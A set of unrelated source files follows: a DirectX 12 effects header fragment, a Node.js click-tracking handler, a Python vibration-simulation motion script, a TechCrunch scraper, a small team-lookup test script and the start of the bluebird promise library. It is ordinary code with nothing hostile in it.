void XM_CALLCONV SetEnvironmentMapSpecular(FXMVECTOR value);
void __cdecl SetFresnelFactor(float value);
private:
// Private implementation.
class Impl;
std::unique_ptr<Impl> pImpl;
// Unsupported interface methods.
void XM_CALLCONV SetLightSpecularColor(int whichLight, FXMVECTOR value) override;
};
// Built-in shader supports skinned animation.
class SkinnedEffect : public IEffect, public IEffectMatrices, public IEffectLights, public IEffectFog, public IEffectSkinning
{
public:
SkinnedEffect(_In_ ID3D12Device* device, uint32_t effectFlags,
const EffectPipelineStateDescription& pipelineDescription);
SkinnedEffect(SkinnedEffect&&) noexcept;
SkinnedEffect& operator= (SkinnedEffect&&) noexcept;
SkinnedEffect(SkinnedEffect const&) = delete;
SkinnedEffect& operator= (SkinnedEffect const&) = delete;
~SkinnedEffect() override;
// IEffect methods.
void __cdecl Apply(_In_ ID3D12GraphicsCommandList* commandList) override;
// Camera settings.
void XM_CALLCONV SetWorld(FXMMATRIX value) override;
void XM_CALLCONV SetView(FXMMATRIX value) override;
void XM_CALLCONV SetProjection(FXMMATRIX value) override;
void XM_CALLCONV SetMatrices(FXMMATRIX world, CXMMATRIX view, CXMMATRIX projection) override;
// Material settings.
void XM_CALLCONV SetDiffuseColor(FXMVECTOR value);
void XM_CALLCONV SetEmissiveColor(FXMVECTOR value);
void XM_CALLCONV SetSpecularColor(FXMVECTOR value);
void __cdecl SetSpecularPower(float value);
void __cdecl DisableSpecular();
void __cdecl SetAlpha(float value);
void XM_CALLCONV SetColorAndAlpha(FXMVECTOR value);
// Light settings.
void XM_CALLCONV SetAmbientLightColor(FXMVECTOR value) override;
void __cdecl SetLightEnabled(int whichLight, bool value) override;
void XM_CALLCONV SetLightDirection(int whichLight, FXMVECTOR value) override;
void XM_CALLCONV SetLightDiffuseColor(int whichLight, FXMVECTOR value) override;
void XM_CALLCONV SetLightSpecularColor(int whichLight, FXMVECTOR value) override;
void __cdecl EnableDefaultLighting() override;
// Fog settings.
void __cdecl SetFogStart(float value) override;
void __cdecl SetFogEnd(float value) override;
void XM_CALLCONV SetFogColor(FXMVECTOR value) override;
// Texture setting.
void __cdecl SetTexture(D3D12_GPU_DESCRIPTOR_HANDLE srvDescriptor, D3D12_GPU_DESCRIPTOR_HANDLE samplerDescriptor);
// Animation settings.
void __cdecl SetBoneTransforms(_In_reads_(count) XMMATRIX const* value, size_t count) override;
void __cdecl ResetBoneTransforms() override;
private:
// Private implementation.
class Impl;
std::unique_ptr<Impl> pImpl;
};
//----------------------------------------------------------------------------------
// Built-in shader extends BasicEffect with normal map and optional specular map
class NormalMapEffect : public IEffect, public IEffectMatrices, public IEffectLights, public IEffectFog
{
public:
NormalMapEffect(_In_ ID3D12Device* device, uint32_t effectFlags,
const EffectPipelineStateDescription& pipelineDescription) :
NormalMapEffect(device, effectFlags, pipelineDescription, false) {}
NormalMapEffect(NormalMapEffect&&) noexcept;
NormalMapEffect& operator= (NormalMapEffect&&) noexcept;
NormalMapEffect(NormalMapEffect const&) = delete;
NormalMapEffect& operator= (NormalMapEffect const&) = delete;
~NormalMapEffect() override;
// IEffect methods.
void __cdecl Apply(_In_ ID3D12GraphicsCommandList* commandList) override;
// Camera settings.
void XM_CALLCONV SetWorld(FXMMATRIX value) override;
void XM_CALLCONV SetView(FXMMATRIX value) override;
void XM_CALLCONV SetProjection(FXMMATRIX value) override;
void XM_CALLCONV SetMatrices(FXMMATRIX world, CXMMATRIX view, CXMMATRIX projection) override;
// Material settings.
void XM_CALLCONV SetDiffuseColor(FXMVECTOR value);
void XM_CALLCONV SetEmissiveColor(FXMVECTOR value);
void XM_CALLCONV SetSpecularColor(FXMVECTOR value);
void __cdecl SetSpecularPower(float value);
void __cdecl DisableSpecular();
void __cdecl SetAlpha(float value);
void XM_CALLCONV SetColorAndAlpha(FXMVECTOR value);
// Light settings.
void XM_CALLCONV SetAmbientLightColor(FXMVECTOR value) override;
void __cdecl SetLightEnabled(int whichLight, bool value) override;
void XM_CALLCONV SetLightDirection(int whichLight, FXMVECTOR value) override;
void XM_CALLCONV SetLightDiffuseColor(int whichLight, FXMVECTOR value) override;
void XM_CALLCONV SetLightSpecularColor(int whichLight, FXMVECTOR value) override;
void __cdecl EnableDefaultLighting() override;
// Fog settings.
void __cdecl SetFogStart(float value) override;
void __cdecl SetFogEnd(float value) override;
void XM_CALLCONV SetFogColor(FXMVECTOR value) override;
// Texture setting - albedo, normal and specular intensity
void __cdecl SetTexture(D3D12_GPU_DESCRIPTOR_HANDLE srvDescriptor, D3D12_GPU_DESCRIPTOR_HANDLE samplerDescriptor);
void __cdecl SetNormalTexture(D3D12_GPU_DESCRIPTOR_HANDLE srvDescriptor);
void __cdecl SetSpecularTexture(D3D12_GPU_DESCRIPTOR_HANDLE srvDescriptor);
protected:
// Private implementation.
class Impl;
std::unique_ptr<Impl> pImpl;
NormalMapEffect(_In_ ID3D12Device* device, uint32_t effectFlags,
const EffectPipelineStateDescription& pipelineDescription, bool skinningEnabled);
};
class SkinnedNormalMapEffect : public NormalMapEffect, public IEffectSkinning
{
public:
SkinnedNormalMapEffect(_In_ ID3D12Device* device, uint32_t effectFlags,
const EffectPipelineStateDescription& pipelineDescription) :
NormalMapEffect(device, effectFlags, pipelineDescription, true) {}
// Animation settings.
void __cdecl SetBoneTransforms(_In_reads_(count) XMMATRIX const* value, size_t count) override;
void __cdecl ResetBoneTransforms() override;
};
//----------------------------------------------------------------------------------
// Built-in shader for Physically-Based Rendering (Roughness/Metalness) with Image-based lighting
class PBREffect : public IEffect, public IEffectMatrices, public IEffectLights
{
public:
PBREffect(_In_ ID3D12Device* device, uint32_t effectFlags,
const EffectPipelineStateDescription& pipelineDescription) :
PBREffect(device, effectFlags, pipelineDescription, false) {}
PBREffect(PBREffect&&) noexcept;
PBREffect& operator= (PBREffect&&) noexcept;
PBREffect(PBREffect const&) = delete;
PBREffect& operator= (PBREffect const&) = delete;
~PBREffect() override;
// IEffect methods.
void __cdecl Apply(_In_ ID3D12GraphicsCommandList* commandList) override;
// Camera settings.
void XM_CALLCONV SetWorld(FXMMATRIX value) override;
void XM_CALLCONV SetView(FXMMATRIX value) override;
void XM_CALLCONV SetProjection(FXMMATRIX value) override;
void XM_CALLCONV SetMatrices(FXMMATRIX world, CXMMATRIX view, CXMMATRIX projection) override;
// Light settings.
void __cdecl SetLightEnabled(int whichLight, bool value) override;
void XM_CALLCONV SetLightDirection(int whichLight, FXMVECTOR value) override;
void XM_CALLCONV SetLightDiffuseColor(int whichLight, FXMVECTOR value) override;
void __cdecl EnableDefaultLighting() override;
// PBR Settings.
void __cdecl SetAlpha(float value);
void XM_CALLCONV SetConstantAlbedo(FXMVECTOR value);
void __cdecl SetConstantMetallic(float value);
void __cdecl SetConstantRoughness(float value);
// Texture settings.
void __cdecl SetAlbedoTexture(D3D12_GPU_DESCRIPTOR_HANDLE srvDescriptor, D3D12_GPU_DESCRIPTOR_HANDLE samplerDescriptor);
void __cdecl SetNormalTexture(D3D12_GPU_DESCRIPTOR_HANDLE srvDescriptor);
void __cdecl SetRMATexture(D3D12_GPU_DESCRIPTOR_HANDLE srvDescriptor);
void __cdecl SetEmissiveTexture(D3D12_GPU_DESCRIPTOR_HANDLE srvDescriptor);
void __cdecl SetSurfaceTextures(
D3D12_GPU_DESCRIPTOR_HANDLE albedo,
D3D12_GPU_DESCRIPTOR_HANDLE normal,
D3D12_GPU_DESCRIPTOR_HANDLE roughnessMetallicAmbientOcclusion,
D3D12_GPU_DESCRIPTOR_HANDLE sampler);
void __cdecl SetIBLTextures(
D3D12_GPU_DESCRIPTOR_HANDLE radiance,
int numRadianceMips,
D3D12_GPU_DESCRIPTOR_HANDLE irradiance,
D3D12_GPU_DESCRIPTOR_HANDLE sampler);
// Render target size, required for velocity buffer output.
void __cdecl SetRenderTargetSizeInPixels(int width, int height);
protected:
// Private implementation.
class Impl;
std::unique_ptr<Impl> pImpl;
PBREffect(_In_ ID3D12Device* device, uint32_t effectFlags,
const EffectPipelineStateDescription& pipelineDescription, bool skinningEnabled);
// Unsupported interface methods.
void XM_CALLCONV SetAmbientLightColor(FXMVECTOR value) override;
void XM_CALLCONV SetLightSpecularColor(int whichLight, FXMVECTOR value) override;
};
class SkinnedPBREffect : public PBREffect, public IEffectSkinning
{
public:
SkinnedPBREffect(_In_ ID3D12Device* device, uint32_t effectFlags,
const EffectPipelineStateDescription& pipelineDescription) :
PBREffect(device, effectFlags, pipelineDescription, true) {}
// Animation settings.
void __cdecl SetBoneTransforms(_In_reads_(count) XMMATRIX const* value, size_t count) override;
void __cdecl ResetBoneTransforms() override;
};
//----------------------------------------------------------------------------------
// Built-in shader for debug visualization of normals, tangents, etc.
class DebugEffect : public IEffect, public IEffectMatrices
{
public:
enum Mode
{
Mode_Default = 0, // Hemispherical ambient lighting
Mode_Normals, // RGB normals
Mode_Tangents, // RGB tangents
Mode_BiTangents, // RGB bi-tangents
};
DebugEffect(_In_ ID3D12Device* device, uint32_t effectFlags,
const EffectPipelineStateDescription& pipelineDescription,
Mode debugMode = Mode_Default);
DebugEffect(DebugEffect&&) noexcept;
DebugEffect& operator= (DebugEffect&&) noexcept;
DebugEffect(DebugEffect const&) = delete;
DebugEffect& operator= (DebugEffect const&) = delete;
~DebugEffect() override;
// IEffect methods.
void __cdecl Apply(_In_ ID3D12GraphicsCommandList* commandList) override;
// Camera settings.
void XM_CALLCONV SetWorld(FXMMATRIX value) override;
void XM_CALLCONV SetView(FXMMATRIX value) override;
void XM_CALLCONV SetProjection(FXMMATRIX value) override;
void XM_CALLCONV SetMatrices(FXMMATRIX world, CXMMATRIX view, CXMMATRIX projection) override;
// Debug Settings.
void XM_CALLCONV SetHemisphericalAmbientColor(FXMVECTOR upper, FXMVECTOR lower);
void __cdecl SetAlpha(float value);
private:
// Private implementation.
class Impl;
std::unique_ptr<Impl> pImpl;
};
//----------------------------------------------------------------------------------
// Abstract interface to factory texture resources
class IEffectTextureFactory
{
public:
virtual ~IEffectTextureFactory() = default;
IEffectTextureFactory(const IEffectTextureFactory&) = delete;
IEffectTextureFactory& operator=(const IEffectTextureFactory&) = delete;
virtual size_t __cdecl CreateTexture(_In_z_ const wchar_t* name, int descriptorIndex) = 0;
protected:
IEffectTextureFactory() = default;
IEffectTextureFactory(IEffectTextureFactory&&) = default;
IEffectTextureFactory& operator=(IEffectTextureFactory&&) = default;
};
// Factory for sharing texture resources
class EffectTextureFactory : public IEffectTextureFactory
{
public:
EffectTextureFactory(
_In_ ID3D12Device* device,
ResourceUploadBatch& resourceUploadBatch,
_In_ ID3D12DescriptorHeap* descriptorHeap) noexcept(false);
EffectTextureFactory(
_In_ ID3D12Device* device,
ResourceUploadBatch& resourceUploadBatch,
_In_ size_t numDescriptors,
_In_ D3D12_DESCRIPTOR_HEAP_FLAGS descriptorHeapFlags = D3D12_DESCRIPTOR_HEAP_FLAG_SHADER_VISIBLE) noexcept(false);
EffectTextureFactory(EffectTextureFactory&&) noexcept;
EffectTextureFactory& operator= (EffectTextureFactory&&) noexcept;
EffectTextureFactory(EffectTextureFactory const&) = delete;
EffectTextureFactory& operator= (EffectTextureFactory const&) = delete;
~EffectTextureFactory() override;
size_t __cdecl CreateTexture(_In_z_ const wchar_t* name, int descriptorIndex) override;
ID3D12DescriptorHeap* __cdecl Heap() const noexcept;
// Shorthand accessors for the descriptor heap
D3D12_CPU_DESCRIPTOR_HANDLE __cdecl GetCpuDescriptorHandle(size_t index) const;
D3D12_GPU_DESCRIPTOR_HANDLE __cdecl GetGpuDescriptorHandle(size_t index) const;
// How many textures are there in this factory?
size_t __cdecl ResourceCount() const noexcept;
// Get a resource in a specific slot (note: increases reference count on resource)
void __cdecl GetResource(size_t slot, _Out_ ID3D12Resource** resource, _Out_opt_ bool* isCubeMap = nullptr);
// Settings.
void __cdecl ReleaseCache();
void __cdecl SetSharing(bool enabled) noexcept;
void __cdecl EnableForceSRGB(bool forceSRGB) noexcept;
void __cdecl EnableAutoGenMips(bool generateMips) noexcept;
void __cdecl SetDirectory(_In_opt_z_ const wchar_t* path) noexcept;
private:
// Private implementation
class Impl;
std::unique_ptr<Impl> pImpl;
};
//----------------------------------------------------------------------------------
// Abstract interface to factory for sharing effects
class IEffectFactory
{
public:
virtual ~IEffectFactory() = default;
IEffectFactory(const IEffectFactory&) = delete;
IEffectFactory& operator=(const IEffectFactory&) = delete;
struct EffectInfo
{
std::wstring name;
bool perVertexColor;
bool enableSkinning;
bool enableDualTexture;
bool enableNormalMaps;
bool biasedVertexNormals;
float specularPower;
float alphaValue;
XMFLOAT3 ambientColor;
XMFLOAT3 diffuseColor;
XMFLOAT3 specularColor;
XMFLOAT3 emissiveColor;
int diffuseTextureIndex;
int specularTextureIndex;
int normalTextureIndex;
int emissiveTextureIndex;
int samplerIndex;
int samplerIndex2;
EffectInfo() noexcept
: perVertexColor(false)
, enableSkinning(false)
, enableDualTexture(false)
, enableNormalMaps(false)
, biasedVertexNormals(false)
, specularPower(0)
, alphaValue(0)
, ambientColor(0, 0, 0)
, diffuseColor(0, 0, 0)
, specularColor(0, 0, 0)
, emissiveColor(0, 0, 0)
, diffuseTextureIndex(-1)
, specularTextureIndex(-1)
, normalTextureIndex(-1)
, emissiveTextureIndex(-1)
, samplerIndex(-1)
, samplerIndex2(-1)
{
}
};
virtual std::shared_ptr<IEffect> __cdecl CreateEffect(
const EffectInfo& info,
const EffectPipelineStateDescription& opaquePipelineState,
const EffectPipelineStateDescription& alphaPipelineState,
const D3D12_INPUT_LAYOUT_DESC& inputLayout,
int textureDescriptorOffset = 0,
int samplerDescriptorOffset = 0) = 0;
protected:
IEffectFactory() = default;
IEffectFactory(IEffectFactory&&) = default;
IEffectFactory& operator=(IEffectFactory&&) = default;
};
// Factory for sharing effects
class EffectFactory : public IEffectFactory
{
public:
EffectFactory(_In_ ID3D12Device* device);
EffectFactory(
_In_ ID3D12DescriptorHeap* textureDescriptors,
_In_ ID3D12DescriptorHeap* samplerDescriptors);
EffectFactory(EffectFactory&&) noexcept;
EffectFactory& operator= (EffectFactory&&) noexcept;
EffectFactory(EffectFactory const&) = delete;
EffectFactory& operator= (EffectFactory const&) = delete;
~EffectFactory() override;
// IEffectFactory methods.
virtual std::shared_ptr<IEffect> __cdecl CreateEffect(
const EffectInfo& info,
const EffectPipelineStateDescription& opaquePipelineState,
const EffectPipelineStateDescription& alphaPipelineState,
const D3D12_INPUT_LAYOUT_DESC& inputLayout,
int textureDescriptorOffset = 0,
int samplerDescriptorOffset = 0) override;
// Settings.
void __cdecl ReleaseCache();
void __cdecl SetSharing(bool enabled) noexcept;
void __cdecl EnablePerPixelLighting(bool enabled) noexcept;
void __cdecl EnableNormalMapEffect(bool enabled) noexcept;
void __cdecl EnableFogging(bool enabled) noexcept;
void __cdecl EnableInstancing(bool enabled) noexcept;
private:
// Private implementation.
class Impl;
std::shared_ptr<Impl> pImpl;
};
// Factory for Physically Based Rendering (PBR)
class PBREffectFactory : public IEffectFactory
{
public:
PBREffectFactory(_In_ ID3D12Device* device) noexcept(false);
PBREffectFactory(
_In_ ID3D12DescriptorHeap* textureDescriptors,
_In_ ID3D12DescriptorHeap* samplerDescriptors) noexcept(false);
PBREffectFactory(PBREffectFactory&&) noexcept;
PBREffectFactory& operator= (PBREffectFactory&&) noexcept;
PBREffectFactory(PBREffectFactory const&) = delete;
PBREffectFactory& operator= (PBREffectFactory const&) = delete;
~PBREffectFactory() override;
// IEffectFactory methods.
virtual std::shared_ptr<IEffect> __cdecl CreateEffect(
const EffectInfo& info,
const EffectPipelineStateDescription& opaquePipelineState,
const EffectPipelineStateDescription& alphaPipelineState,
const D3D12_INPUT_LAYOUT_DESC& inputLayout,
int textureDescriptorOffset = 0,
int samplerDescriptorOffset = 0) override;
// Settings.
void __cdecl ReleaseCache();
void __cdecl SetSharing(bool enabled) noexcept;
void __cdecl EnableInstancing(bool enabled) noexcept;
private:
// Private implementation.
class Impl;
std::shared_ptr<Impl> pImpl;
};
}
|
const requestIp = require('request-ip');
const anonymize = require('ip-anonymize');
import { dataStoreTrack as datastore } from '../datastore';
import queryParser from '../queryParser';
module.exports = async (req, res) => {
const {
programId,
sessionId,
locale,
kind,
affiliate,
url,
dimension1,
dimension2,
dimension3,
dimension4,
dimension5,
isSponsored,
} = queryParser(req.url);
const now = new Date(Date.now()).toISOString();
let clientIP = requestIp.getClientIp(req);
try {
clientIP = anonymize(clientIP);
} catch (err) {}
// Default event click/impression
let rows = [
{
programId,
url,
lead: false,
clientIP,
userAgent: req.headers && req.headers['user-agent'],
dimension1: dimension1 || '',
dimension2: dimension2 || '',
dimension3: dimension3 || '',
dimension4: dimension4 || '',
dimension5: dimension5 || '',
isSponsored: isSponsored === '1',
},
];
// Handle leads
if (
!affiliate &&
req.session.programId &&
req.session.kind &&
req.session.kind === kind
) {
rows.push({
programId: req.session.programId,
url,
lead: true,
clientIP,
userAgent: req.headers && req.headers['user-agent'],
dimension1: dimension1 || '',
dimension2: dimension2 || '',
dimension3: dimension3 || '',
dimension4: dimension4 || '',
dimension5: dimension5 || '',
isSponsored: isSponsored === '1',
});
req.session = null;
}
const tableName = kind;
return datastore.insert(tableName, rows, now).catch((err) => {
console.error('ERROR:', err);
const { insertErrors } = err.response;
if (insertErrors && insertErrors.length > 0) {
console.log('Insert errors:');
insertErrors.forEach((err) => console.error(err));
}
});
};
|
import sys
import os
import os.path
try:
# py2.x
from urllib import pathname2url
from urllib import url2pathname
from urllib import quote
from urllib import unquote
pass
except ImportError:
# py3.x
from urllib.request import pathname2url
from urllib.request import url2pathname
from urllib.parse import quote
from urllib.parse import unquote
pass
import numpy as np
import pandas as pd
from limatix.dc_value import hrefvalue as hrefv
from VibroSim_WelderModel.contact_model import write_motiontable
# vibrosim_calc_singlefrequency_motion.py:
# Processtrak for evaluating motion corresponding
# to single-frequency excitation.
#
# This motion can then be used by vibrosim_calc_heating_welder.py
# which should give approximately the same heating as
# vibrosim_calc_heating_singlefrequency.py. It makes
# a good cross-check
def run(_xmldoc,_element,
dc_dest_href,
dc_measident_str,
dc_exc_t0_numericunits,
dc_exc_t1_numericunits,
dc_exc_t2_numericunits,
dc_exc_t3_numericunits,
dc_exc_t4_numericunits,
dc_excitation_frequency_numericunits,
dc_harmonicburst_normalstress_complex,
dc_harmonicburst_shearstress_complex):
t0 = dc_exc_t0_numericunits.value("s")
t1 = dc_exc_t1_numericunits.value("s")
t2 = dc_exc_t2_numericunits.value("s")
t3 = dc_exc_t3_numericunits.value("s")
t4 = dc_exc_t4_numericunits.value("s")
freq = dc_excitation_frequency_numericunits.value("Hz")
dt=1e-6
trange = np.arange(dc_exc_t4_numericunits.value("s")/dt)*dt
heatingenvelope = np.zeros(trange.shape[0],dtype='d')
heatingenvelope[ (trange >= t0) & (trange < t1) ] = (1.0-np.cos( np.pi*(trange[ (trange >= t0) & (trange < t1) ]-t0)/(t1-t0)))/2.0
heatingenvelope[ (trange >= t1) & (trange < t2) ] = 1.0
heatingenvelope[ (trange >= t2) & (trange < t3) ] = (1.0+np.cos( np.pi*(trange[ (trange >= t2) & (trange < t3) ]-t2)/(t3-t2)))/2.0
crackcenternormalstress = np.real(heatingenvelope*dc_harmonicburst_normalstress_complex*np.exp((0+1j)*2.0*np.pi*freq*(trange-t0)))
crackcentershearstress = np.real(heatingenvelope*dc_harmonicburst_shearstress_complex*np.exp((0+1j)*2.0*np.pi*freq*(trange-t0)))
motiontable = pd.DataFrame(index=pd.Float64Index(data=np.arange(trange.shape[0],dtype='d')*dt,dtype='d',name="Time(s)"))
motiontable.insert(len(motiontable.columns),"specimen_crackcenternormalstress(Pa)",crackcenternormalstress)
motiontable.insert(len(motiontable.columns),"specimen_crackcentershearstress(Pa)",crackcentershearstress)
# Save motiontable CSV and add to return dictionary
motiontable_href = hrefv(quote("%s_motiontable.csv.bz2" % (dc_measident_str)),dc_dest_href)
write_motiontable(motiontable,motiontable_href.getpath())
ret = {
"dc:motion": motiontable_href
}
return ret
|
"""
Please, before executing the code, refer to the config file `config.yml` on
the root folder and the request headers on `src/header.json`.
You can set the following variables on your configuration file:
-> Section: sections to be scraped
-> MinPage: starting page to start scraping
-> MaxPage: last page that will be scraped
-> Request > Timeout: maximum time to wait for a HTTP response
-> SaveBatch: number of processed items required to save results
-> SleepTime: time the program will stop before making another request (
please use values above or equal to 2.0 seconds to be as friendly as
possible).
Make your scraper identifiable by setting a proper `user-agent` (your email is a
good choice) value on the header file.
"""
__author__ = 'Thiago Balbo'
__email__ = 'thiago.dbalbo@gmail.com'
__version__ = '1.0'
import requests
import lxml.html
import yaml, time, sys, json, csv, os
from pprint import pprint
import datetime
config = yaml.safe_load(open('config.yml'))
print(config)
def console_log(message):
"""
Print a message to the terminal with the datetime at the beginning.
:param message: The message to be print.
"""
ctime = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')
print('[{}]'.format(ctime), message)
class Scraper:
"""
Scraper implements base methods to scrape and parse data from an URL.
"""
def __init__(self, headers):
self.headers = headers
def scrape(self, url, referer=None):
"""
Make a GET request to a URL.
:param url: url to be requested
:param referer: the requests' referer
:returns: requests' response.
"""
if referer:
self._add_referer(referer)
response = requests.get(url, timeout=self._timeout,
headers=self.headers)
return response
def parse(self, raw_data):
"""
Parse data from a raw string to a formated tree object.
:param raw_data: a string to be parsed (will be the html page as string)
:returns: the parsed string as a lxml.html tree object
"""
root = lxml.html.fromstring(raw_data)
return root
def _add_referer(self, referer):
"""
Add referer to the request header.
:param referer: the referer to be added.
"""
self.headers['referer'] = referer
class TechCrunchScraper(Scraper):
"""
This is the main class used to scrape posts from the TechCrunch website.
It will execute several methods. The process includes:
1. Get all links for a custom page and section and yield them
2. For each post, scrape its content
3. Save the results ocasionally in a json file
4. Repeat 1-3 until all config conditions (pages and sections) are
satisfied.
"""
def __init__(self):
self.posts = []
self.url = config['URL']
self.sections = config['Section']
self.page = config['Page']
self.max_page = config['MaxPage']
self.min_page = config['MinPage']
self.sleep_time = config['SleepTime']
self.links_filename = config.get('LinksFilename')
self.posts_filename = config.get('PostsFilename')
self.save_batch = config.get('SaveBatch')
headers_filename = config.get('Request')['HeaderFilename']
with open(headers_filename, 'r') as f:
headers = json.load(f).get('Items')
super().__init__(headers)
self._timeout = config.get('Request')['Timeout']
print(self.sections)
def _get_page_links(self, url, section, referer=None):
"""
Get the data from the section page. Includes posts' URL, category, id
and section.
:param url: the section url to be scraped
:param section: the section that is being scraped
:param referer: the referer to add to the request header
:returns: a list of dictionaries containig the metadata of all posts
in the page.
"""
links = []
resp = self.scrape(url, referer=referer)
html_doc = self.parse(resp.text)
elements = html_doc.cssselect('ul.river > li')
for elem in elements:
try:
cat_obj = elem.cssselect('div.tags span')[0]
category = cat_obj.text_content()
except:
category = ''
link = {
'id': elem.get('id'),
'permalink': elem.get('data-permalink'),
'category': category,
'section': section
}
links.append(link)
return links
def get_links(self):
"""
Controller to get the links from the website sections
:returns: yield a dicionary containing the url and other metadata of
the post.
"""
for page in range(self.min_page, self.max_page+1):
console_log('Page: {}'.format(page))
for section in self.sections:
console_log('Section: {}'.format(section))
url = self.url + section + self.page.format(num=page)
try:
links = self._get_page_links(url, section)
for link in links:
yield link
except Exception as e:
print(e)
time.sleep(0.5) # so you have time to ctrl-C
continue
def scrape_post(self, link):
"""
Scrape the content from the post.
:param link: a dictionary containing the url to be scraped and other
metadata from the post.
:returns: post content as a dictionary
"""
resp = self.scrape(link.get('permalink'))
html_doc = self.parse(resp.text)
image = html_doc.cssselect('div.article-entry.text > img')[0]
image_src = image.get('src')
paragraphs = html_doc.cssselect('div.article-entry.text > p')
content = []
for paragraph in paragraphs:
content.append(paragraph.text_content())
post_info = html_doc.cssselect('div.title-left')[0]
date = post_info.cssselect('div.byline > time')[0].get('datetime')
authors = post_info.cssselect('div.byline > a')
by = []
for author in authors:
by.append(author.text_content())
post_tags = html_doc.cssselect('div.accordion.recirc-accordion li')
tags, topics = [], []
for tag in post_tags:
try:
tag_id = tag.get('id').replace('tc-accordion-item-','')
tag_content, tag_type = tag_id.rsplit('-', 1)
if tag_type == 'tag':
tags.append(tag_content)
elif tag_type == 'topic':
topics.append(tag_content)
except:
pass
title = html_doc.cssselect('header.article-header.page-title > h1')[0]
title_text = title.text_content()
post_metadata = {
'id': link.get('id'),
'url': link.get('permalink'),
'title': title_text,
'section': link.get('section'),
'category': link.get('category'),
'tags': ','.join(tags),
'topics': ','.join(topics),
'img_src': image_src,
'content': '\n'.join(content),
'date': date,
'authors': ','.join(by)
}
return post_metadata
def scrape_post_flow(self, link):
"""
Controller to call the function that will actually scrape the HTML
content and append items to memory.
:param link: the link to be scraped
"""
console_log('Scraping post {}'.format(link.get('permalink')))
try:
post_metadata = self.scrape_post(link)
self.posts.append(post_metadata)
except Exception as e:
print(e)
time.sleep(0.5) # so you have time to ctrl-C
def save(self, output, filename):
"""
Save a list of dictionaries into a csv file.
:param output: a list of dictionaries to be saved
:param filename: filename to save the data
"""
with open(filename, 'w') as f:
fieldnames = sorted(output[0].keys())
writer = csv.DictWriter(f, fieldnames=fieldnames)
writer.writeheader()
writer.writerows(output)
def save_flow(self, num, last=False):
"""
Test conditions to check wether or not to save the data.
:param num: the number of scraped urls until now
:param last: if this will be the last time this method will be called
"""
ct = datetime.datetime.now().strftime('%Y_%m_%d__%H_%M_%S')
if (num % self.save_batch == 0 and self.posts) or (last and self.posts):
console_log('Saving posts...')
path = self.posts_filename.rsplit('/', 1)[0]
if not os.path.exists(path):
os.system('mkdir -p {}'.format(path))
self.save(self.posts, self.posts_filename.format(dt=ct))
self.posts = []
def run(self):
scraped_urls = 0
links = self.get_links()
while 1:
if scraped_urls % 10 == 0:
console_log('Scraped URLs: {}'.format(scraped_urls))
try:
self.scrape_post_flow(next(links))
except StopIteration:
self.save_flow(scraped_urls, last=True)
sys.exit()
scraped_urls += 1
self.save_flow(scraped_urls)
time.sleep(self.sleep_time)
if __name__ == '__main__':
s = TechCrunchScraper()
s.run()
|
#!/usr/bin/env python
from chalicelib.main import get_team
teams = ["nhl toronto", "mlb toronto", "football miami", "Toronto","Washington","NY","NYR","NYY","LA","Miami","garbage","my aneurysm"]
print("\n\n")
for t in teams:
print("Calling " + t)
try:
rval = get_team(t,debug=True)
print("Final return: " + rval)
except Exception as e:
print(e.__class__.__name__, str(e))
print("")
print("Done!")
|
/* @preserve
* The MIT License (MIT)
*
* Copyright (c) 2013-2017 Petka Antonov
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*
*/
/**
* bluebird build version 3.5.0
* Features enabled: core
* Features disabled: race, call_get, generators, map, nodeify, promisify, props, reduce, settle, some, using, timers, filter, any, each
*/
!function(e){if("object"==typeof exports&&"undefined"!=typeof module)module.exports=e();else if("function"==typeof define&&define.amd)define([],e);else{var f;"undefined"!=typeof window?f=window:"undefined"!=typeof global?f=global:"undefined"!=typeof self&&(f=self),f.Promise=e()}}(function(){var define,module,exports;return (function e(t,n,r){function s(o,u){if(!n[o]){if(!t[o]){var a=typeof _dereq_=="function"&&_dereq_;if(!u&&a)return a(o,!0);if(i)return i(o,!0);var f=new Error("Cannot find module '"+o+"'");throw f.code="MODULE_NOT_FOUND",f}var l=n[o]={exports:{}};t[o][0].call(l.exports,function(e){var n=t[o][1][e];return s(n?n:e)},l,l.exports,e,t,n,r)}return n[o].exports}var i=typeof _dereq_=="function"&&_dereq_;for(var o=0;o<r.length;o++)s(r[o]);return s})({1:[function(_dereq_,module,exports){
"use strict";
var firstLineError;
try {throw new Error(); } catch (e) {firstLineError = e;}
var schedule = _dereq_("./schedule");
var Queue = _dereq_("./queue");
var util = _dereq_("./util");
function Async() {
this._customScheduler = false;
this._isTickUsed = false;
this._lateQueue = new Queue(16);
this._normalQueue = new Queue(16);
this._haveDrainedQueues = false;
this._trampolineEnabled = true;
var self = this;
this.drainQueues = function () {
self._drainQueues();
};
this._schedule = schedule;
}
Async.prototype.setScheduler = function(fn) {
var prev = this._schedule;
this._schedule = fn;
this._customScheduler = true;
return prev;
};
Async.prototype.hasCustomScheduler = function() {
return this._customScheduler;
};
Async.prototype.enableTrampoline = function() {
this._trampolineEnabled = true;
};
Async.prototype.disableTrampolineIfNecessary = function() {
if (util.hasDevTools) {
this._trampolineEnabled = false;
}
};
Async.prototype.haveItemsQueued = function () {
return this._isTickUsed || this._haveDrainedQueues;
};
Async.prototype.fatalError = function(e, isNode) {
if (isNode) {
process.stderr.write("Fatal " + (e instanceof Error ? e.stack : e) +
"\n");
process.exit(2);
} else {
this.throwLater(e);
}
};
Async.prototype.throwLater = function(fn, arg) {
if (arguments.length === 1) {
arg = fn;
fn = function () { throw arg; };
}
if (typeof setTimeout !== "undefined") {
setTimeout(function() {
fn(arg);
}, 0);
} else try {
this._schedule(function() {
fn(arg);
});
} catch (e) {
